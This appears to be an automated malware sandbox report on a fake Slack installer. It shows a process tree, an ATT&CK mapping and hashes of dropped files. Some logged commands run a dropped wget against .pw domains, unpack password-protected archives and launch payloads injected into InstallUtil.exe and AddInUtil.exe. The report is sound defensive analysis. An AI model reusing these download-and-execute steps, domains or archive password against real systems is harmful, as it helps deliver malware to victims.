        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=gpu-process --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=1808 --field-trial-handle=1812,i,247983326665179033,16809004284512215778,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3972
        
        C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=2040 --field-trial-handle=1812,i,247983326665179033,16809004284512215778,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:4600
      - C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --squirrel-firstrun
        6⤵
        Adds Run key to start application
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3844
        
        C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
        C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\Slack /prefetch:7 --no-upload-gzip --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\Slack\Crashpad --url=https://slack.com/apps/sentryproxy/api/5277886/minidump/?sentry_key=fd30fe469dbf4aec9db40548e5acf91e --annotation=_productName=Slack --annotation=_version=4.32.122 --annotation=plat=Win64 --annotation=prod=Electron "--annotation=sentry___initialScope={\"release\":\"[email protected]\",\"environment\":\"production\",\"user\":{\"id\":\"3ae8c28c-5c14-4506-a3ba-c5e80d6417ae\"},\"tags\":{\"uuid\":\"3ae8c28c-5c14-4506-a3ba-c5e80d6417ae\"}}" --annotation=ver=24.1.2 --initial-client-data=0x484,0x488,0x48c,0x43c,0x490,0x7ff711485c70,0x7ff711485c80,0x7ff711485c90
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3628
        
        C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=gpu-process --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=1800 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1356
        
        C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --standard-schemes=app,slack-webapp-dev --enable-sandbox --secure-schemes=app,slack-webapp-dev --bypasscsp-schemes=slack-webapp-dev --cors-schemes=slack-webapp-dev --fetch-schemes=slack-webapp-dev --service-worker-schemes=slack-webapp-dev --streaming-schemes --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=2004 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3896
        
        C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --standard-schemes=app,slack-webapp-dev --enable-sandbox --secure-schemes=app,slack-webapp-dev --bypasscsp-schemes=slack-webapp-dev --cors-schemes=slack-webapp-dev --fetch-schemes=slack-webapp-dev --service-worker-schemes=slack-webapp-dev --streaming-schemes --app-user-model-id=com.squirrel.slack.slack --app-path="C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\app.asar" --enable-sandbox --enable-blink-features=ExperimentalJSProfiler --disable-blink-features --first-renderer-process --autoplay-policy=no-user-gesture-required --enable-logging --force-color-profile=srgb --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2640 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand --window-type=main /prefetch:1
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3740
        
        C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=gpu-process --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=1820 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2092
        
        C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=gpu-process --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=1944 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4832
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 90 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4056
  - - C:\Users\Admin\AppData\Local\Temp\data\appInfo\setup.exe
      .\data\appInfo\setup.exe
      4⤵
      PID:3296
- - C:\Users\Admin\AppData\Roaming\newplugin\wget.exe
    "C:\Users\Admin\AppData\Roaming\newplugin\wget.exe" ping --content-disposition https://www.vbs1.pw -P C:\Users\Admin\AppData\Roaming\newplugin
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:5056
- - C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe
    "C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\newplugin\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\newplugin
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:4676
- - C:\Users\Admin\AppData\Roaming\newplugin\pluginrbtry
    C:\Users\Admin\AppData\Roaming\newplugin\pluginrbtry
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3388
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3388 -s 932
      4⤵
      Program crash
      PID:3032
- - C:\Users\Admin\AppData\Roaming\newplugin\wget.exe
    "C:\Users\Admin\AppData\Roaming\newplugin\wget.exe" ping --content-disposition https://www.vbs22.pw -P C:\Users\Admin\AppData\Roaming\newplugin
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:1764
- - C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe
    "C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\newplugin\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\newplugin
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:3688
- - C:\Users\Admin\AppData\Roaming\newplugin\2plugintbr
    C:\Users\Admin\AppData\Roaming\newplugin\2plugintbr
    3⤵
    - Suspicious use of SetThreadContext
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4520
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1964
- - C:\Users\Admin\AppData\Roaming\newplugin\wget.exe
    "C:\Users\Admin\AppData\Roaming\newplugin\wget.exe" ping --content-disposition https://www.vbs3.pw -P C:\Users\Admin\AppData\Roaming\newplugin
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:2292
- - C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe
    "C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\newplugin\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\newplugin
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:1324
- - C:\Users\Admin\AppData\Roaming\newplugin\3plugin_20230609
    C:\Users\Admin\AppData\Roaming\newplugin\3plugin_20230609
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4280

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 368 -p 3388 -ip 3388
1⤵
PID:3696

C:\Users\Admin\AppData\Roaming\TypeName\Current
C:\Users\Admin\AppData\Roaming\TypeName\Current
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Executes dropped EXE
PID:3008
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RELEASES

Path C:\Users\Admin\AppData\Local\SquirrelTemp\RELEASES
Size 79B
SHA256 57c1991670227592a1bed24877706b7ed6ee28efc1f8ec70ddb8527938a86293
MD5 5f85754370ef415f61b2f9b21ab4022a
SHA1 dbae97429f52dfb0a92e6235a1174b91670a1dcd
SHA512 f1668fe191bc1de1ea818f211cde1180f93947eff31a805b8ca7adb1b138dbe307bd1497c9c00868768a334d13b1b25710e260441ed300af26200e02bdf65527
MD5 SHA1 SHA512

Submit Download

Update.exe

Path C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
Size 1.5MB
SHA256 d1a747f68d2d740b672430b380f0748feceab80e630a4002356de2f0ef233f00
MD5 108ca1dd522e8c43805a52625316de04
SHA1 4182ca223594aa6a9a1befcec31aaf61c77ca1fa
SHA512 046a54d71b75d96d7b90d059c7a9bab7591ae93eb57ab6bd7e3b88617442d4f362e3d1f289e1c1f45888b59905d9117717da9f3059c8a3b06fb551ce14bd9ce8
SSDEEP 24576:foOIsKAjEMuZGtTWwMj7lZoY2IhLkTRr90:foOIx9MjWHoYbiB0
MD5 SHA1 SHA512 SSDEEP

Submit Download

Update.exe

Path C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
Size 1.5MB
SHA256 d1a747f68d2d740b672430b380f0748feceab80e630a4002356de2f0ef233f00
MD5 108ca1dd522e8c43805a52625316de04
SHA1 4182ca223594aa6a9a1befcec31aaf61c77ca1fa
SHA512 046a54d71b75d96d7b90d059c7a9bab7591ae93eb57ab6bd7e3b88617442d4f362e3d1f289e1c1f45888b59905d9117717da9f3059c8a3b06fb551ce14bd9ce8
SSDEEP 24576:foOIsKAjEMuZGtTWwMj7lZoY2IhLkTRr90:foOIx9MjWHoYbiB0
MD5 SHA1 SHA512 SSDEEP

Submit Download

background.gif

Path C:\Users\Admin\AppData\Local\SquirrelTemp\background.gif
Size 191KB
SHA256 a23577728f09e8f4b24d7b03d2cb3611428d6acd2efb72db28289c7901e42fd8
MD5 0b6b63cdaeae40f461aadfdef1d526bc
SHA1 b7cccd3328769552e9e8e0860ba933e9f6eb562f
SHA512 a07b77ad039762f5235348189767955a1ae5c37ba6a9697161855afab966d3e75e73337ae0853499a09b2bef74a5d8cfc00cf2525e165cc77ee82497bc6bb223
SSDEEP 3072:g23/Y3TER+7fL23Wu9cobD+7fL23DwXV/+7fL232SVipD+72F:fPYwR+7fKlcof+7fKTc/+7fKmhD+72F
MD5 SHA1 SHA512 SSDEEP

Submit Download

slack-4.32.122-full.nupkg

Path C:\Users\Admin\AppData\Local\SquirrelTemp\slack-4.32.122-full.nupkg
Size 109.3MB
SHA256 fc0412e3e8d4fabc7f3c67f9b5706fe7d34ee8552488f540967923c854505a64
MD5 aad01b0ab5785397206a9b1087dca556
SHA1 291a2f0d5a1c0721056d38155a1e5d79f255a812
SHA512 5311d193d16fa00be385783750ba2c4d60f4dbaa0912cf0810851e15333df185353f50aca8d723fdc96f914caba46feac4c1f95acd95a3386f9423b9571b7381
SSDEEP 3145728:tEmJq7SpHxoWM7bxsGeQbIuTlcD90Qt+SB2Q:/kSpG7lqQbIl5PD
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_jnpfsdak.ffc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jnpfsdak.ffc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Update.exe

Path C:\Users\Admin\AppData\Local\slack\Update.exe
Size 1.5MB
SHA256 d1a747f68d2d740b672430b380f0748feceab80e630a4002356de2f0ef233f00
MD5 108ca1dd522e8c43805a52625316de04
SHA1 4182ca223594aa6a9a1befcec31aaf61c77ca1fa
SHA512 046a54d71b75d96d7b90d059c7a9bab7591ae93eb57ab6bd7e3b88617442d4f362e3d1f289e1c1f45888b59905d9117717da9f3059c8a3b06fb551ce14bd9ce8
SSDEEP 24576:foOIsKAjEMuZGtTWwMj7lZoY2IhLkTRr90:foOIx9MjWHoYbiB0
MD5 SHA1 SHA512 SSDEEP

Submit Download

D3DCompiler_47.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\D3DCompiler_47.dll
Size 4.7MB
SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
MD5 2191e768cc2e19009dad20dc999135a3
SHA1 f49a46ba0e954e657aaed1c9019a53d194272b6a
SHA512 5adcb00162f284c16ec78016d301fc11559dd0a781ffbeff822db22efbed168b11d7e5586ea82388e9503b0c7d3740cf2a08e243877f5319202491c8a641c970
SSDEEP 49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
MD5 SHA1 SHA512 SSDEEP

Submit Download

Squirrel.exe

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\Squirrel.exe
Size 1.5MB
SHA256 910042aa9bcdc62227ea2bd731a0d15c25566f26c92f649049c1d9c7fc15179e
MD5 43715fc94ef95ad33ec16484342c0148
SHA1 8caeaf946e85bcc05fcf63e2f1054e4e23671cee
SHA512 bec557cb86d4a0562603b81a29e0f6ae9661cb8dd2f9bb062f5f8298260cdb5d52736bcb06479e4ab7a51dbd3a5b17b9746b2012cd2eee97882345e2b73897c1
SSDEEP 24576:doOIsKAjEMuZGtTWwMj7lZoY2IhLkTRABgq0Uv:doOIx9MjWHoYbiWX/
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome_100_percent.pak

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\chrome_100_percent.pak
Size 124KB
SHA256 ccbca246b9a93fa8d4f01a01345e7537511c590e4a8efd5777b1596d10923b4b
MD5 acd0fa0a90b43cd1c87a55a991b4fac3
SHA1 17b84e8d24da12501105b87452f86bfa5f9b1b3c
SHA512 3e4c4f31c6c7950d5b886f6a8768077331a8f880d70b905cf7f35f74be204c63200ff4a88fa236abccc72ec0fc102c14f50dd277a30f814f35adfe5a7ae3b774
SSDEEP 3072:vlKzwqCT4wDNzIwL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:vlKzwt4uEgK18Gb0OV8ld0GecQ3f2
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome_200_percent.pak

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\chrome_200_percent.pak
Size 173KB
SHA256 c91abf556e55c29d1ea9f560bb17cc3489cb67a5d0c7a22b58485f5f2fbcf25c
MD5 4610337e3332b7e65b73a6ea738b47df
SHA1 8d824c9cf0a84ab902e8069a4de9bf6c1a9aaf3b
SHA512 039b50284d28dcd447e0a486a099fa99914d29b543093cccda77bbefdd61f7b7f05bb84b2708ae128c5f2d0c0ab19046d08796d1b5a1cff395a0689ab25ccb51
SSDEEP 3072:4DQYaEQN6AJPKNzIwafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/rIM0:4DQYaNN68QEVgx5GMRejnbdZnVE6YopY
MD5 SHA1 SHA512 SSDEEP

Submit Download

d3dcompiler_47.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\d3dcompiler_47.dll
Size 4.7MB
SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
MD5 2191e768cc2e19009dad20dc999135a3
SHA1 f49a46ba0e954e657aaed1c9019a53d194272b6a
SHA512 5adcb00162f284c16ec78016d301fc11559dd0a781ffbeff822db22efbed168b11d7e5586ea82388e9503b0c7d3740cf2a08e243877f5319202491c8a641c970
SSDEEP 49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
MD5 SHA1 SHA512 SSDEEP

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll
Size 2.8MB
SHA256 ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59
MD5 667acfb13bd054da2268b2b75717e431
SHA1 6ec7668402863afef51f75ac3b1b7db212a003bb
SHA512 1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356
SSDEEP 49152:z8eQOVpK5XuKChO64U5M1nLsbPhjUlgrxG9wFt+e2CPbCiN3lzl3hfLaF:AzmhOlpnCt+e2obC82F
MD5 SHA1 SHA512 SSDEEP

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll
Size 2.8MB
SHA256 ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59
MD5 667acfb13bd054da2268b2b75717e431
SHA1 6ec7668402863afef51f75ac3b1b7db212a003bb
SHA512 1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356
SSDEEP 49152:z8eQOVpK5XuKChO64U5M1nLsbPhjUlgrxG9wFt+e2CPbCiN3lzl3hfLaF:AzmhOlpnCt+e2obC82F
MD5 SHA1 SHA512 SSDEEP

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll
Size 2.8MB
SHA256 ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59
MD5 667acfb13bd054da2268b2b75717e431
SHA1 6ec7668402863afef51f75ac3b1b7db212a003bb
SHA512 1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356
SSDEEP 49152:z8eQOVpK5XuKChO64U5M1nLsbPhjUlgrxG9wFt+e2CPbCiN3lzl3hfLaF:AzmhOlpnCt+e2obC82F
MD5 SHA1 SHA512 SSDEEP

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll
Size 2.8MB
SHA256 ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59
MD5 667acfb13bd054da2268b2b75717e431
SHA1 6ec7668402863afef51f75ac3b1b7db212a003bb
SHA512 1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356
SSDEEP 49152:z8eQOVpK5XuKChO64U5M1nLsbPhjUlgrxG9wFt+e2CPbCiN3lzl3hfLaF:AzmhOlpnCt+e2obC82F
MD5 SHA1 SHA512 SSDEEP

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll
Size 2.8MB
SHA256 ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59
MD5 667acfb13bd054da2268b2b75717e431
SHA1 6ec7668402863afef51f75ac3b1b7db212a003bb
SHA512 1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356
SSDEEP 49152:z8eQOVpK5XuKChO64U5M1nLsbPhjUlgrxG9wFt+e2CPbCiN3lzl3hfLaF:AzmhOlpnCt+e2obC82F
MD5 SHA1 SHA512 SSDEEP

Submit Download

icudtl.dat

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\icudtl.dat
Size 10.1MB
SHA256 9dfbe0dad5c7021cfe8df7f52458c422cbc5be9e16ff33ec90665bb1e3f182de
MD5 d89ce8c00659d8e5d408c696ee087ce3
SHA1 49fc8109960be3bb32c06c3d1256cb66dded19a8
SHA512 db097ce3eb9e132d0444df79b167a7dcb2df31effbbd3df72da3d24ae2230cc5213c6df5e575985a9918fbd0a6576e335b6ebc12b6258bc93fa205399de64c37
SSDEEP 98304:OKPBQYOo+ddlymOk25flQCUliXUxiG9Ha93Whla6ZGdnp/8k:OKPBhORjOhCliXUxiG9Ha93Whla6ZGrn
MD5 SHA1 SHA512 SSDEEP

Submit Download

libEGL.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\libEGL.dll
Size 479KB
SHA256 0d4de65f46c9a2081ab898a7f39f48d4215d881e22b5b57cf6fc1d23248707d4
MD5 de39e509e1cb3dc2240b05715fa61447
SHA1 ea6340dd399b3cde8801accf2c5a97258844d245
SHA512 fbf8dd8b1b60062bde4dce1111b113d3395a5dfc067b338bc26a5f4273895d9bf1161a389ad2732fd1a1bf739f0e27530fb950bb54de22c87418003b6182a139
SSDEEP 6144:NfuE2DT96QHENooSYBjLkt4sasMHemPwlrX+nZijL7hnf:NfuE2DbkGoS2jLku/wWUHNnf
MD5 SHA1 SHA512 SSDEEP

Submit Download

libGLESv2.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\libGLESv2.dll
Size 7.3MB
SHA256 2ffc6d3777febba55f1c209b4ef9580a0ba5e331a785abae77c6beec5bc75370
MD5 b6bb7c1966cfad52ca2dbdc96439a513
SHA1 683b64ebf7eb6ca213489061312d66312c514fb0
SHA512 6b9f39a3f91652413904f7cb00123b1c554dc903e10d8c840724cfa0de4c8d9a37896894d7d7b89c2f272bcc2d43754137aa177c3434d5c9f7ec9d312576dfd4
SSDEEP 98304:8xWHIKsfp9vzzAtgz0N6qcrddN2Rm5gsOMvMe:OrctGkcrcnslMe
MD5 SHA1 SHA512 SSDEEP

Submit Download

libegl.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\libegl.dll
Size 479KB
SHA256 0d4de65f46c9a2081ab898a7f39f48d4215d881e22b5b57cf6fc1d23248707d4
MD5 de39e509e1cb3dc2240b05715fa61447
SHA1 ea6340dd399b3cde8801accf2c5a97258844d245
SHA512 fbf8dd8b1b60062bde4dce1111b113d3395a5dfc067b338bc26a5f4273895d9bf1161a389ad2732fd1a1bf739f0e27530fb950bb54de22c87418003b6182a139
SSDEEP 6144:NfuE2DT96QHENooSYBjLkt4sasMHemPwlrX+nZijL7hnf:NfuE2DbkGoS2jLku/wWUHNnf
MD5 SHA1 SHA512 SSDEEP

Submit Download

libglesv2.dll

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\libglesv2.dll
Size 7.3MB
SHA256 2ffc6d3777febba55f1c209b4ef9580a0ba5e331a785abae77c6beec5bc75370
MD5 b6bb7c1966cfad52ca2dbdc96439a513
SHA1 683b64ebf7eb6ca213489061312d66312c514fb0
SHA512 6b9f39a3f91652413904f7cb00123b1c554dc903e10d8c840724cfa0de4c8d9a37896894d7d7b89c2f272bcc2d43754137aa177c3434d5c9f7ec9d312576dfd4
SSDEEP 98304:8xWHIKsfp9vzzAtgz0N6qcrddN2Rm5gsOMvMe:OrctGkcrcnslMe
MD5 SHA1 SHA512 SSDEEP

Submit Download

en-US.pak

Path C:\Users\Admin\AppData\Local\slack\app-4.32.122\locales\en-US.pak
Size 338KB
SHA256 4d207c5c202c19c4daca3fddb2ae4f747f943a8faf86a947eef580e2f2aee687
MD5 5e3813e616a101e4a169b05f40879a62
SHA1 615e4d94f69625dda81dfaec7f14e9ee320a2884
SHA512 764a271a9cfb674cce41ee7aed0ad75f640ce869efd3c865d1b2d046c9638f4e8d9863a386eba098f5dcedd20ea98bad8bca158b68eb4bdd606d683f31227594
